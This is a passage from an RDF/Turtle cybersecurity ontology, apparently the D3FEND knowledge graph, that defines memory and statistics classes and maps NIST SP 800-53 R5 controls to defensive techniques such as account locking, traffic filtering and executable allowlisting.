    rdfs:subClassOf d3f:AverageAbsoluteDeviation .

d3f:MemoryAddressSpace a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Address Space" ;
    d3f:contains d3f:MemoryAddress ;
    d3f:definition "A memory address space is a space containing memory addresses." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:MemoryAddress ],
        d3f:AddressSpace .

d3f:MemoryBlockStartValidation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Block Start Validation" ;
    d3f:d3fend-id "D3-MBSV" ;
    d3f:definition "Ensuring that a pointer accurately references the beginning of a designated memory block." ;
    d3f:hardens d3f:MemoryFreeFunction ;
    d3f:kb-article """## How it Works
Ensure that a pointer is referencing the beginning of the intended block before using.

## Considerations
Be careful with pointer arithmetic.""" ;
    d3f:kb-reference d3f:Reference-CManualPointerArithmetic_GNU ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:PointerValidation .

d3f:MemoryDeletionEvent a owl:Class ;
    rdfs:label "Memory Deletion Event" ;
    d3f:definition "An event marking the release or deallocation of memory resources, reclaiming them for reuse within the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:MemoryEvent .

d3f:MemoryManagementUnitComponent a owl:Class ;
    rdfs:label "Memory Management Unit Component" ;
    d3f:definition "A Memory Management Unit Component is a hardware or software element that contributes to the functionality of a Memory Management Unit, which is responsible for managing and translating memory addresses in a computing system." ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:Mode a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mode" ;
    d3f:d3fend-id "D3A-MOD" ;
    d3f:definition "The most frequent value in the data set. This is the only central tendency measure that can be used with nominal data, which have purely qualitative category assignments." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:Moments a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Moments" ;
    d3f:d3fend-id "D3A-MOM" ;
    d3f:definition "With a probability distribution function, the the first moment is the expected value, the second central moment is the variance, the third standardized moment is the skewness, and the fourth standardized moment is the kurtosis." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Moment (mathematics). [Link](https://en.wikipedia.org/wiki/Moment_(mathematics))""" ;
    rdfs:subClassOf d3f:DistributionProperties .

d3f:MultipleRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multiple Regression" ;
    d3f:d3fend-id "D3A-MR" ;
    d3f:definition "Multiple (linear) regression attempts to model the relationship between two or more explanatory variables and a response variable by fitting a linear equation to observed data." ;
    d3f:kb-article """## References
Yale University Department of Statistics. (1997-98). Linear regression and multivariate analysis. [Link](http://www.stat.yale.edu/Courses/1997-98/101/linmult.htm)""" ;
    d3f:synonym "Multiple Linear Regression" ;
    rdfs:subClassOf d3f:RegressionAnalysis .

d3f:NIST_SP_800-53_R5_AC-17_8 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-17(8)" ;
    d3f:broader d3f:ExecutableDenylisting ;
    d3f:control-name "Remote Access | Disable Nonsecure Network Protocols" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-23 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-23" ;
    d3f:control-name "Data Mining Protection" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:JobFunctionAccessPatternAnalysis,
        d3f:LocalAccountMonitoring,
        d3f:ResourceAccessPatternAnalysis,
        d3f:UserDataTransferAnalysis .

d3f:NIST_SP_800-53_R5_AC-24 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-24" ;
    d3f:control-name "Access Control Decisions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-24_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-24(1)" ;
    d3f:control-name "Access Control Decisions | Transmit Access Authorization Information" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_AC-24_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-24(2)" ;
    d3f:control-name "Access Control Decisions | No User or Process Identity" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_AC-2_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(1)" ;
    d3f:broader d3f:AccountLocking,
        d3f:Multi-factorAuthentication ;
    d3f:control-name "Account Management | Automated System Account Management" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-2_13 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(13)" ;
    d3f:control-name "Account Management | Disable Accounts for High-risk Individuals" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:AccountLocking .

d3f:NIST_SP_800-53_R5_AC-2_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(2)" ;
    d3f:broader d3f:AccountLocking ;
    d3f:control-name "Account Management | Automated Temporary and Emergency Account Management" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-2_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(3)" ;
    d3f:broader d3f:AccountLocking ;
    d3f:control-name "Account Management | Disable Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-2_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(4)" ;
    d3f:control-name "Account Management | Automated Audit Actions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DomainAccountMonitoring .

d3f:NIST_SP_800-53_R5_AC-2_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(5)" ;
    d3f:control-name "Account Management | Inactivity Logout" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:AccountLocking .

d3f:NIST_SP_800-53_R5_AC-2_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(6)" ;
    d3f:control-name "Account Management | Dynamic Privilege Management" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-2_7 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(7)" ;
    d3f:control-name "Account Management | Privileged User Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_AC-2_9 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-2(9)" ;
    d3f:control-name "Account Management | Restrictions on Use of Shared and Group Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_AC-3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3" ;
    d3f:control-name "Access Enforcement" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting .

d3f:NIST_SP_800-53_R5_AC-3_11 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3(11)" ;
    d3f:control-name "Access Enforcement | Restrict Access to Specific Information Types" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-3_13 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3(13)" ;
    d3f:control-name "Access Enforcement | Attribute-based Access Control" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-3_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3(3)" ;
    d3f:control-name "Access Enforcement | Mandatory Access Control" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-3_7 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3(7)" ;
    d3f:control-name "Access Enforcement | Role-based Access Control" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-3_8 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-3(8)" ;
    d3f:control-name "Access Enforcement | Revocation of Access Authorizations" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SystemCallFiltering .

d3f:NIST_SP_800-53_R5_AC-4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4" ;
    d3f:control-name "Information Flow Enforcement" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(1)" ;
    d3f:control-name "Information Flow Enforcement | Object Security and Privacy Attributes" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_10 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(10)" ;
    d3f:broader d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:control-name "Information Flow Enforcement | Enable and Disable Security or Privacy Policy Filters" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-4_11 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(11)" ;
    d3f:broader d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:control-name "Information Flow Enforcement | Configuration of Security or Privacy Policy Filters" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-4_12 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(12)" ;
    d3f:control-name "Information Flow Enforcement | Data Type Identifiers" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_13 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(13)" ;
    d3f:control-name "Information Flow Enforcement | Decomposition into Policy-relevant Subcomponents" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_14 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(14)" ;
    d3f:control-name "Information Flow Enforcement | Security or Privacy Policy Filter Constraints" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_15 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(15)" ;
    d3f:control-name "Information Flow Enforcement | Detection of Unsanctioned Information" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_17 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(17)" ;
    d3f:control-name "Information Flow Enforcement | Domain Authentication" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:DomainTrustPolicy .

d3f:NIST_SP_800-53_R5_AC-4_19 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(19)" ;
    d3f:control-name "Information Flow Enforcement | Validation of Metadata" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_20 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(20)" ;
    d3f:control-name "Information Flow Enforcement | Approved Solutions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_21 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(21)" ;
    d3f:control-name "Information Flow Enforcement | Physical or Logical Separation of Information Flows" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_26 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(26)" ;
    d3f:control-name "Information Flow Enforcement | Audit Filtering Actions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:FileContentRules .

d3f:NIST_SP_800-53_R5_AC-4_27 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(27)" ;
    d3f:control-name "Information Flow Enforcement | Redundant/independent Filtering Mechanisms" ;
    d3f:exactly d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-4_28 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(28)" ;
    d3f:control-name "Information Flow Enforcement | Linear Filter Pipelines" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_29 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(29)" ;
    d3f:control-name "Information Flow Enforcement | Filter Orchestration Engines" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(3)" ;
    d3f:control-name "Information Flow Enforcement | Dynamic Information Flow Control" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_30 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(30)" ;
    d3f:control-name "Information Flow Enforcement | Filter Mechanisms Using Multiple Processes" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_32 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(32)" ;
    d3f:control-name "Information Flow Enforcement | Process Requirements for Information Transfer" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(4)" ;
    d3f:control-name "Information Flow Enforcement | Flow Control of Encrypted Information" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(5)" ;
    d3f:control-name "Information Flow Enforcement | Embedded Data Types" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(6)" ;
    d3f:control-name "Information Flow Enforcement | Metadata" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-4_8 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-4(8)" ;
    d3f:control-name "Information Flow Enforcement | Security and Privacy Policy Filters" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering .

d3f:NIST_SP_800-53_R5_AC-5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-5" ;
    d3f:broader d3f:LocalFilePermissions,
        d3f:UserAccountPermissions ;
    d3f:control-name "Separation of Duties" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6" ;
    d3f:broader d3f:LocalFilePermissions,
        d3f:UserAccountPermissions ;
    d3f:control-name "Least Privilege" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-6_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(1)" ;
    d3f:control-name "Least Privilege | Authorize Access to Security Functions" ;
    d3f:exactly d3f:SystemConfigurationPermissions ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-6_10 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(10)" ;
    d3f:control-name "Least Privilege | Prohibit Non-privileged Users from Executing Privileged Functions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_AC-6_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(3)" ;
    d3f:control-name "Least Privilege | Network Access to Privileged Commands" ;
    d3f:exactly d3f:SystemConfigurationPermissions ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-6_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(4)" ;
    d3f:control-name "Least Privilege | Separate Processing Domains" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:Hardware-basedProcessIsolation .

d3f:NIST_SP_800-53_R5_AC-6_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(5)" ;
    d3f:control-name "Least Privilege | Privileged Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_AC-6_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(6)" ;
    d3f:control-name "Least Privilege | Privileged Access by Non-organizational Users" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_AC-6_9 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-6(9)" ;
    d3f:broader d3f:LocalAccountMonitoring,
        d3f:UserBehaviorAnalysis ;
    d3f:control-name "Least Privilege | Log Use of Privileged Functions" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-7 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-7" ;
    d3f:control-name "Unsuccessful Logon Attempts" ;
    d3f:exactly d3f:AccountLocking ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AC-7_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-7(3)" ;
    d3f:control-name "Unsuccessful Logon Attempts | Biometric Attempt Limiting" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:AccountLocking .

d3f:NIST_SP_800-53_R5_AC-7_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AC-7(4)" ;
    d3f:broader d3f:AccountLocking ;
    d3f:control-name "Unsuccessful Logon Attempts | Use of Alternate Authentication Factor" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-10_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-10(5)" ;
    d3f:broader d3f:DriverLoadIntegrityChecking ;
    d3f:control-name "Non-repudiation | Digital Signatures" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-14_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-14(2)" ;
    d3f:control-name "Session Audit | Capture and Record Content" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_AU-15 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-15" ;
    d3f:control-name "Alternate Audit Logging Capability" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_AU-2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-2" ;
    d3f:control-name "Event Logging" ;
    d3f:exactly d3f:LocalAccountMonitoring ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-2_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-2(1)" ;
    d3f:control-name "Event Logging | Compilation of Audit Records from Multiple Sources" ;
    d3f:exactly d3f:LocalAccountMonitoring ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-2_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-2(2)" ;
    d3f:control-name "Event Logging | Selection of Audit Events by Component" ;
    d3f:exactly d3f:LocalAccountMonitoring ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-3" ;
    d3f:control-name "Content of Audit Records" ;
    d3f:exactly d3f:LocalAccountMonitoring ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_AU-4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "AU-4" ;
    d3f:control-name "Audit Log Storage Capacity" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_CM-14 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-14" ;
    d3f:control-name "Signed Components" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DriverLoadIntegrityChecking,
        d3f:MessageAuthentication .

d3f:NIST_SP_800-53_R5_CM-5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-5" ;
    d3f:control-name "Access Restrictions for Change" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:ExecutableAllowlisting,
        d3f:ExecutableDenylisting,
        d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_CM-5_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-5(1)" ;
    d3f:control-name "Access Restrictions for Change | Automated Access Enforcement and Audit Records" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_CM-5_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-5(3)" ;
    d3f:control-name "Access Restrictions for Change | Signed Components" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_CM-5_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-5(5)" ;
    d3f:control-name "Access Restrictions for Change | Privilege Limitation for Production and Operation" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_CM-5_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-5(6)" ;
    d3f:control-name "Access Restrictions for Change | Limit Library Privileges" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring,
        d3f:SystemConfigurationPermissions .

d3f:NIST_SP_800-53_R5_CM-6_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "CM-6(3)" ;
    d3f:broader d3f:ApplicationConfigurationHardening ;
    d3f:control-name "Configuration Settings | Unauthorized Change Detection" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 .

d3f:NIST_SP_800-53_R5_IA-2_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IA-2(1)" ;
    d3f:control-name "Identification and Authentication (organizational Users) | Multi-factor Authentication to Privileged Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:Multi-factorAuthentication .

d3f:NIST_SP_800-53_R5_IA-2_2 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IA-2(2)" ;
    d3f:control-name "Identification and Authentication (organizational Users) | Multi-factor Authentication to Non-privileged Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:Multi-factorAuthentication .

d3f:NIST_SP_800-53_R5_IA-2_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IA-2(4)" ;
    d3f:control-name "Identification and Authentication (organizational Users) | Local Access to Non-privileged Accounts" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_IA-2_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IA-2(6)" ;
    d3f:control-name "Identification and Authentication (organizational Users) | Access to Accounts —separate Device" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:Multi-factorAuthentication .

d3f:NIST_SP_800-53_R5_IR-4_12 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IR-4(12)" ;
    d3f:control-name "Incident Handling | Malicious Code and Forensic Analysis" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DynamicAnalysis .

d3f:NIST_SP_800-53_R5_IR-4_13 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "IR-4(13)" ;
    d3f:control-name "Incident Handling | Behavior Analysis" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:related d3f:DecoyEnvironment,
        d3f:DecoyObject .

d3f:NIST_SP_800-53_R5_MA-3_3 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-3(3)" ;
    d3f:control-name "Maintenance Tools | Prevent Unauthorized Removal" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_MA-3_4 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-3(4)" ;
    d3f:control-name "Maintenance Tools | Restricted Tool Use" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_MA-3_5 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-3(5)" ;
    d3f:control-name "Maintenance Tools | Execution with Privilege" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:UserAccountPermissions .

d3f:NIST_SP_800-53_R5_MA-3_6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-3(6)" ;
    d3f:control-name "Maintenance Tools | Software Updates and Patches" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_MA-4_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-4(1)" ;
    d3f:control-name "Nonlocal Maintenance | Logging and Review" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:LocalAccountMonitoring .

d3f:NIST_SP_800-53_R5_MA-6 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-6" ;
    d3f:control-name "Timely Maintenance" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
    d3f:narrower d3f:SoftwareUpdate .

d3f:NIST_SP_800-53_R5_MA-6_1 a d3f:NISTControl,
        owl:NamedIndividual ;
    rdfs:label "MA-6(1)" ;
    d3f:control-name "Timely Maintenance | Preventive Maintenance" ;
    d3f:member-of d3f:NIST_SP_800-53_R5 ;
